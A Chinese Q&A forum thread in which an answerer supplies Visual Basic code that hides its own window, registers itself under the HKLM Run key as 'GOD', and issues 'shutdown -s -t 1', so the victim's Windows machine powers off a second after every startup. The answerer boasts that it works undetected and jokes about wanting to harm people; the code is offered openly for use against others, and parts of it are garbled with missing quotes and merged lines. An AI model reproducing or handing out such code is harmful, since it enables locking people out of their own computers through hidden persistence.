打开VB 新建一个程序,双击窗体,进入代码输入区,清空代码,将以下代码复制进去。OKPrivate Declare Function RegCreateKey Lib advapi32.dll Alias RegCreateKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As LongPrivate Declare Function RegSetValueEx Lib advapi32.dll Alias RegSetValueExA (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As LongNote that if you declare the lpData parameter as String, you must pass it By Value.Private Declare Function RegCloseKey Lib advapi32.dll (ByVal hKey As Long) As LongPrivate Const REG_SZ = 1Unicode nul terminated stringConst HKEY_LOCAL_MACHINE = 让程序窗体不显示在桌面App.TaskVisible = False隐藏程序进程,让你神不知 鬼不觉,哇哈哈Dim str As String
str = IIf(Right(App.Path, 1) = , App.Path, App.Path )
获取文件所在路径
SaveString HKEY_LOCAL_MACHINE, SoftwareMicrosoftWindowsCurrentVersionRun, GOD, str + .EXE
写入注册表Shell shutdown -s -t 1
设置关机命令 ,1秒关机,只适合WIN2000以上的系统End Sub本人刚才帮你写的 ,测试通过,自动运行。。你小子想害人呀。。怎么和我一样的想法呢。。我曾经也做过。。哈哈。追问额。。。你想多了。。。赞同3|评论追问...我自己的代码,跑不起来。 求帮忙改啊。 回答对你的问题我深表同情,可惜我不专业,无能为力了,抱歉 |评论
|